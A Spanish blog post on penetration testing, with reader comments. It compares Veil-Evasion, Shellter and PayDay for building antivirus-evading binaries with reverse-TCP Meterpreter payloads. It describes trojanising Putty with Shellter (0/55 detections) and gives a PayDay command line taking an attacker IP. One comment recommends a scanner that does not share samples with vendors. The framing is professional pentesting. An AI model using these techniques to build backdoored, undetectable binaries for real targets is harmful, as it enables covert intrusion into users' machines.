El año pasado coincidí con
Pedro Sánchez en
Gsick Minds, congreso que se celebra en
A Coruña hacia finales de año. Siempre es un placer para mí coincidir con este señor de la profesión que tanto nos apasiona. Siempre aprendo con Pedro, él tiene esa facilidad. Su charla me llamó la atención, hizo que algo que para muchos pueda ser complejo, resultara sencillo. Ahí está el gran mérito de
Pedro en esa charla. Me gustó como utilizó herramientas que facilitaban mucho la vida a la hora de evadir, sobretodo, las firmas de los
antivirus. La idea es la de conseguir que un binario, manteniendo su funcionalidad, deje de ser reconocido por los motores de
antimalware. De esto ya habló
Chema Alonso por aquí en el año
2007, haciendo modificaciones manualmente, en el artículo "
El morphing de Superman".
|
Figura 1: Ofuscación de binarios |
Tras ver la charla de
Pedro me dije que tenía que mirar más dichas herramientas y hacer mis propios “
juguetes”, pero por desgracia en aquel momento el trabajo apretaba y el fin de año estaba cerca. Ahora ha pasado el tiempo y he podido ir probando diferentes herramientas, quizá las más famosas
Veil-Framework, que tiene un
módulo en Powershell para hacer Pentesting denominado
PowerView, y
Shellter, que es una de las más potentes a la hora de rebajar el ratio de detección de los
antivirus. Como curiosidad hay que decir que
Shellter tiene el código fuente cerrado, aunque como dice el autor en su sitio web puede ser comprado.
En el artículo de hoy veremos una serie de comparativa básica respecto a los resultados que podemos sacar con estas herramientas automáticas de generación de binarios con
payloads. El objetivo es sencillo: cuanto menor ratio de detección, más sencillo será poder evadir mecanismos de protección. Las herramientas que trataremos serán:
• Veil-Evasion de Veil-Framework.
• Shellter.
• PayDay.
Quizá la menos conocida sea
PayDay, que es una
script en
Python que nos facilita la interacción con
Metasploit y con
Veil-Framework para la generación de los binarios. Como se puede ver, siempre hay una nueva capa de abstracción que simplifica, aún más, el proceso.
Un pequeño test con Virus Total
En esta pequeña prueba Generaremos diferentes binarios y los subiremos a
Virus Total, con el objetivo de poder comparar en qué casos tendríamos más éxitos. Está claro que si profundizásemos con
Veil-Evasion y
Shellter podríamos obtener unos binarios aún mejores, en lo que a evasión se refiere, aunque puede que el resultado fuera el mismo en algunos casos. Es decir, puede que generemos diferentes binarios y ambos nos dieran el mismo ratio de detección, aunque uno es, a posteriori, más fácilmente detectable.
|
Figura 2: Handler de Metasploit |
Para estos pequeños ejemplos utilizaremos el
handler de
Metasploit para recibir las conexiones de los binarios maliciosos creados. Os dejo simplemente su configuración en
Metasploit, ya que las ejecuciones como tal no las veremos.
|
Figura 3: Tips & Tricks en la web de Shellter |
En el sitio web de
Shellter podemos encontrar un listado de
tricks y tips que os recomiendo que echéis un ojo. Es un listado que el autor de la herramienta ha ido recopilando de su experiencia y de los emails que ha ido recibiendo de los usuarios de la herramienta.
Veil-Evasion
La primera de las versiones que veremos será
Veil-Evasion, una herramienta diseñada para generar
payloads de
Metasploit con los que
bypassear soluciones
antivirus comunes.
Veil-Evaison proporciona diferentes
payloads con diferente ranking, el cual indica la eficiencia o el éxito que se presupone con cada uno de estos
payloads. Por supuesto, se pueden añadir características a
Veil-Evasion, lo que ha conseguido que sea un framework que está creciendo bastante.
|
Figura 4: 50 payloads en esta versión de Veil-Evasion |
Desde
Github se puede descargar, aunque sus dependencias son muchas. El proceso de instalación puede ser largo, pero claramente merece la pena. Tal y como se puede ver en la imagen superior
Veil-Evasion proporciona una serie de comandos. En la versión utilizada para el ejemplo se han cargado
50 payloads. Con el comando “
list” podemos listarlos y obtener algo más de información. El listado se proporciona por categorías, podemos ver
payloads generados para
C, C#, Go, Powershell, Python, Ruby, etcétera.
|
Figura 5: Selección de meterpreter en Python en Veil-Evasion |
Para esta prueba, como se ve en la imagen anterior, se elige un
meterpreter en
Python con conexión inversa sobre
TCP. Una vez queremos generar el
EXE utilizamos el comando
generate, entonces nos preguntará por la ruta en la que se quiere guardar y con qué motor crear el ejecutable. En el caso de
Python puede ser
Pyinstaller,
Pwnstaller o
Py2Exe, donde
Pwnstaller es
Pyinstaller ofuscado.
|
Figura 6: Configuración final |
El mensaje de no enviar ejemplos a los escáneres online nos lo dice todo. Yo haré como Pedro en su charla y solo para esta pequeña prueba lo haré
;). Los resultados son muy interesantes, no hemos utilizado funcionalidades o técnicas complejas. Todo ha sido
“siguiente… siguiente… siguiente…”. El potencial de
Veil radica en las diferentes plataformas para crear
payloads y cómo
Python,
Ruby o
Powershell ayudan a que los códigos pasen mucho más desapercibido.
|
Figura 7: Evaluación del binario por los motores AV de Virus Total |
El resultado es que
12 motores de
antivirus nos han detectado el binario, teniendo en cuenta que hemos utilizado un camino básico y un
payload “clásico”. El resultado es
12 de
56, lo cual podría ser aceptable en muchas circunstancias.
Shellter
Como comenté anteriormente, la herramienta tiene muchas opciones y solo nos centraremos en una ejecución sencilla y básica. Lo primero que nos preguntará la herramienta al ser ejecutada es si queremos un modo de operación automático o manual. Lo hacemos lo más sencillo posible, que cualquiera con los mínimos conocimientos pudiera hacerlo, como dijo en la charla de
Gsick Minds Pedro Sánchez.
|
Figura 8: Ejecución de Shellter con configuraciones por defecto |
Shellter nos preguntará si queremos activar el modo sigiloso y le decimos que sí. En este instante deberemos elegir entre los
payloads disponibles para que se inyecten en el binario. Si nos fijamos tenemos diferentes tipos de
Meterpreter, la típica
shell inversa
TCP y la
shell bindeada TCP. Además, un
payload inline como es
WinExec. Lo que nos preguntará
Shellter es si queremos utilizar el listado que nos proporciona o queremos utilizar un listado personalizado, mediante importación de
shellcodes. En este caso elegimos la opción básica y el
payload de
Meterpreter inverso
TCP.
|
Figura 9: Configuración de payloads con Shellter |
La primera etapa pesa unos pocos bytes como se puede ver en la lectura de
Shellter. El
payload es
encodeado automáticamente, y posteriormente nos muestra más información sobre los métodos de la
API a utilizar, sobre la ofuscación o el código
polimórfico denominado basura. Justo después de esto, se configura la segunda etapa, y es que
Meterpreter no es un
payload de tipo inline. En la segunda etapa se pasan por fases similares. La salida por pantalla de
Shellter es interminable, pero nos proporciona mucha información. Hay que recordar que esto es todo con valores por defecto.
|
Figura 10: Información del binario generado por Shellter |
El binario que hemos utilizado, el cual se pide al principio es el de
Putty. El famoso cliente para conexiones
SSH,
telnet, puerto serie, etcétera.
Shellter hace un
backup del binario e inyecta, en este caso, un
Meterpreter dentro del fichero, tal y como vimos.
|
Figura 11: Ningún Antivirus detecta el nuevo binario |
Los resultados con las opciones por defecto de
Shellter cuando se lo pasamos a
Virus Total son muy sorprendentes. Ningún motor
antivirus ha detectado el binario como malicioso, obteniendo un
0 de
55.
PayDay
PayDay es un script escrito en
Python cuyo objetivo es crear un binario con un
Meterpreter inverso
TCP inyectado. El
script de
PayDay se puede encontrar en Github. La sintaxis es sencilla y para generar un binario que utilice
Metasploit (msfvenom) y
Veil-Evasion simplemente hay que ejecutar:
python payday.py –veil –msf –ip [dirección IP atacante].
|
Figura 12: Ejecución de PayDay |
Los resultados obtenidos para el binario creado con
PayDay pueden sorprender, ya que el uso del script es realmente sencillo.
39 motores
AV han detectado el binario como malicioso de
56 que analizaron el fichero. Los resultados no fueron buenos.
|
Figura 13: 39 de 56 AV detectan la ofuscación del binario |
Tras la comparativa se puede observar que hay herramientas que facilitan la evasión de
AV y que con opciones básicas o por defecto se consiguen resultados muy potentes.
Shellter es sin duda el que más sorpresas causa, por su sencillez y el poderío de los resultados que ha conseguido. ¿Cuál es tu favorito? ¿Qué otras herramientas utilizas para hacer estas tareas?
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y “Pentesting con Powershell”
Shellter is the best of course!
ResponderEliminar:I
ResponderEliminarhasta el dia de hoy la grandiosa heuristica sigue sin ser capaz de pillar el viejo y conocido prepending, o el appending, o un simple xor , dejar el codigo ejecutable en la secciones .data XDDD. los antivirus son como las farmacias, venden pomada para las arrugas.
por cierto, este blog esta muy bueno. saludos.
ResponderEliminarPreferiria no usar virustotal ya que vende las muestras, a empresas de antivirus.
ResponderEliminarPara eso usaria NoDistribute https://nodistribute.com ;)
Slowloris 411: Tienes toda la razón. Megadeth, Megadeth, aguante Megadeth.
ResponderEliminar